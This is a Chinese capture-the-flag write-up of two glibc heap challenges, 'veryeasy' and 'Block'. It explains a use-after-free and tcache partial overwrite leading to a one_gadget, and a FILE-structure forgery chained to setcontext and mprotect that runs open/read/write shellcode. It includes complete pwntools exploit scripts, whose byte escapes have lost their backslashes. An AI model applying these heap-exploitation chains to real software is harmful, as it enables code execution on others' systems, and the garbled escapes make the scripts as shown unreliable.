veryeasy
这题保护全开,不太好利用。
漏洞
在free后没用清空指针,存在UAF。
这里需要注意的是存在对free次数的检查,但是if语句中是无符号数的比较。通过Add 9个以上的chunk使DAT_00302010的值为-1绕过检查。
利用过程
glibc版本是2.27,tcache的存在使得堆利用变得非常容易。
先free 8个chunk,多余的一个chunk便会被放入unsortbin中。代码如下:
Add(0, 0x80, 'A'*0x10, p) Add(1, 0x80, 'A'*0x10, p) Add(2, 0x80, 'A'*0x10, p) Add(3, 0x80, 'A'*0x10, p) Add(4, 0x80, 'A'*0x10, p) Add(5, 0x80, 'A'*0x10, p) Add(6, 0x80, 'A'*0x10, p) Add(7, 0x80, 'A'*0x10, p) Add(8, 0x80, 'A'*0x10, p) Add(9, 0x80, 'A'*0x10, p) Delete(0, p) Delete(1, p) Delete(2, p) Delete(3, p) Delete(4, p) Delete(5, p) Delete(0, p) Delete(0, p)
结果如下:
因为stdout的地址和unsortbin的地址有5位不同,不能直接利用部分写来爆破。仔细观察可以发现stdin在main_arena上方不远处,在stdin中有跟stdout的地址只有4位不同的数据,如下
利用部分写可以把该值加入tcache中,接着malloc两个chunk就可以把这个值放在tcache链表的头部,代码如下
Edit(0, 'x88xfa', p) Add(10, 0x80, 'A'*0x10, p) Add(11, 0x80, 'A'*0x10, p)
结果如下
接着free一个chunk,利用部分写改写这个值为stdout的地址,代码如下
结果如下
之后把stdout malloc出来改写一下就可以leak信息。获得libc基址后就可以算出__malloc_hook的地址。不过这题不能直接向__malloc_hook中写入one_gadget,得利用realloc函数做中专来满足one_gadget的条件。
完整代码如下:
#!/usr/bin/python #-*-coding:utf8-*- from pwn import * libc = ELF('./libc-2.27.so') context.terminal = ['tmux', 'splitw', '-h', '-p', '60'] #context.log_level = 'debug' def Add(index, size, content, p): p.sendlineafter('Your choice :', '1') p.sendlineafter('id:', str(index)) p.sendlineafter('size:', str(size)) p.sendafter('content:', content) def Edit(index, content, p): p.sendlineafter('Your choice :', '2') p.sendlineafter('id:', str(index)) p.sendafter('content:', content) def Delete(index, p): p.sendlineafter('Your choice :', '3') p.sendlineafter('id:', str(index)) def pwn(): p = process('./pwn') Add(0, 0x80, 'A'*0x10, p) Add(1, 0x80, 'A'*0x10, p) Add(2, 0x80, 'A'*0x10, p) Add(3, 0x80, 'A'*0x10, p) Add(4, 0x80, 'A'*0x10, p) Add(5, 0x80, 'A'*0x10, p) Add(6, 0x80, 'A'*0x10, p) Add(7, 0x80, 'A'*0x10, p) Add(8, 0x80, 'A'*0x10, p) Add(9, 0x80, 'A'*0x10, p) Delete(0, p) Delete(1, p) Delete(2, p) Delete(3, p) Delete(4, p) Delete(5, p) Delete(0, p) Delete(0, p) Edit(0, 'x88xfa', p) Add(10, 0x80, 'A'*0x10, p) Add(11, 0x80, 'A'*0x10, p) Delete(2, p) # 改写fd指针,使其指向stdout Edit(2, 'x60x07', p) Add(12, 0x80, 'A'*0x10, p) try: Add(13, 0x80, p64(0xfbad1800) + p64(0)*3 + 'x00', p) libc_base = u64(p.recvuntil('x7f')[-6:] + 'x00x00') - 0x3ed8b0 info("libc_base ==> " + hex(libc_base)) libc.address = libc_base except: p.close() return 0 if (libc_base >> 40) != 0x7f: return 0 malloc_hook = libc.symbols['__malloc_hook'] info("malloc_hook ==> " + hex(malloc_hook)) realloc = libc.symbols['__libc_realloc'] malloc = libc.symbols['__libc_malloc'] a = [0x4f365, 0x4f3c2, 0x10a45c] one_gadget = libc_base + a[2] Delete(0, p) Edit(0, p64(malloc_hook-0x8), p) Add(14, 0x80, 'A'*0x10, p) Add(15, 0x80,p64(one_gadget) + p64(realloc+0x6), p) p.sendlineafter('Your choice :', '1') p.sendlineafter('id:', '16') p.sendlineafter('size:', str(0x80)) p.interactive() p.close() return 1 if __name__ == '__main__': while True: a = pwn() if a: break
踩坑记录:
这题在把chunk放进unsortbin后我的第一感觉是部分写leak信息,之后调试发现不行,就习惯性的在main_arena下面找满足条件的值,没想到往上面找,结果浪费了很多时间。知道stdin在main_arena附近也算是一点小收获吧。
在glibc2.23中unsortbin的地址只有4位跟stdout不同,可以直接部分写。
Block
程序是保护全开的。
程序存在单子节溢出,又又打印函数。利用large chunk就可以泄漏堆地址和libc基址。
程序开了seccomp保护,不能getshell,就只能用orw来回去flag。
这题可以用exit来orw。先给出调用链:exit-> __run_exit_handlers+560 -> _IO_cleanup + 32 -> _IO_flush_all_lockp + 287 -> _IO_str_finish + 18 -> setcontext + 53 -> orw_code
先double free修改_IO_list_all为伪造的_IO_FILE。
接下来我们重点关注_IO_FILE怎么伪造。先上一张图:
现在逐个解释每处数据的作用:
构造1出的数据是为了绕过上图中红色圈中的检查,接下用会自行_IO_OVERFLOW这个宏。这个宏对应如下汇编代码
其中rbx是伪造的_IO_FILE的地址,rax是伪造的3处的数据,其在_IO_str_jumps附近。
接着进入_IO_str_fnish。
其中rbx是fp,也就是伪造的额IO_FILE,call指令调用的是4处的函数setcontext+53,其参数rdi是2处的数据。
接着进入setcontext函数。
9处数据是mprotext函数,5、6、7是它三个参数8是写入的code的地址。
完整exp如下:
#!/usr/bin/python #-*- coding:utf8 -*- from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60']) p = process('./block') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def Add(type1, size, content): p.sendlineafter('Choice >> ', '1') p.sendlineafter('type: ', str(type1)) p.sendlineafter('size: ', str(size)) p.sendafter('content: ', content) def Delete(index): p.sendlineafter('Choice >> ', '2') p.sendlineafter('index: ', str(index)) def Show(index): p.sendlineafter('Choice >> ', '3') p.sendlineafter('index: ', str(index)) def Edit(index, content): p.sendlineafter('Choice >> ', '4') p.sendlineafter('index: ', str(index)) p.sendafter('content: ', content) for i in range(7): Add(3, 0x1e0, 'A'*0x10 + ' ') for i in range(7): Delete(i) Add(3, 0x68, 'A'*0x10 + ' ') Add(3, 0xf8, 'A'*0x10 + ' ') Add(3, 0x68, 'A'*0x10 + ' ') Add(3, 0x78, 'A'*0x10 + ' ') Add(3, 0x68, 'A'*0x10 + ' ') Add(1, 0x450, 'A'*0x10 + ' ') Add(3, 0x68, 'A'*0x10 + ' ') Edit(0, 'x00'*0x68 + 'xf1' + ' ') Delete(1) Add(3, 0xf8, 'A'*0x10 + ' ') Add(3, 0x68, 'A'*0x10 + ' ') Delete(5) # leak Show(3) p.recvuntil('The content is ') libc_base = u64(p.recv(8)) - 0x3ebca0 libc.address = libc_base info("libc_base ==> " + hex(libc_base)) chunk_addr = u64(p.recv(8)) info("chunk_addr ==> " + hex(chunk_addr)) mprotect = libc.symbols['mprotect'] setcontext = libc.symbols['setcontext'] _IO_str_jumps = libc_base + 0x3e8360 #payload = 'A'*0x10 + ' ' code = shellcraft.open('./flag') code += shellcraft.read(3, "rsp", 0x100) code += shellcraft.write(1, "rsp", 0x100) payload = 'x00'*0x28 + p64(1) + 'x00'*0x8 + p64(chunk_addr + 0x120) payload = payload.ljust(0xd8, 'x00') + p64(_IO_str_jumps - 0x8) + 'x00'*8 + p64(setcontext + 0x35) payload += 'x00'*0x20 + 'x00'*0x68 + p64(chunk_addr + 0x80) payload += p64(0x1000) + 'x00'*0x10 + p64(0x7) payload += 'x00'*0x10 + p64(chunk_addr + 0x80 + 0x200) + p64(mprotect) + p64(0) + p64(0) payload += 'x00'*0xa0 + p64(chunk_addr + 0x80 + 0x200 + 0x8) payload += asm(code) Add(1, 0x450, payload + ' ') # double free Delete(2) Delete(4) Delete(7) # 把_IO_list_all加入fastbin中 Add(3, 0x68, p64(libc_base + 0x3ec63d) + ' ') Add(3, 0x68, 'A'*0x10 + ' ') Add(3, 0x68, p64(chunk_addr + 0x10) + ' ') Add(3, 0x68, 'x00'*0x13 + p64(chunk_addr + 0x10) + ' ') gdb.attach(p, 'b * 0x555555554000+0xcfa c') p.sendlineafter('Choice >> ', '5') p.interactive()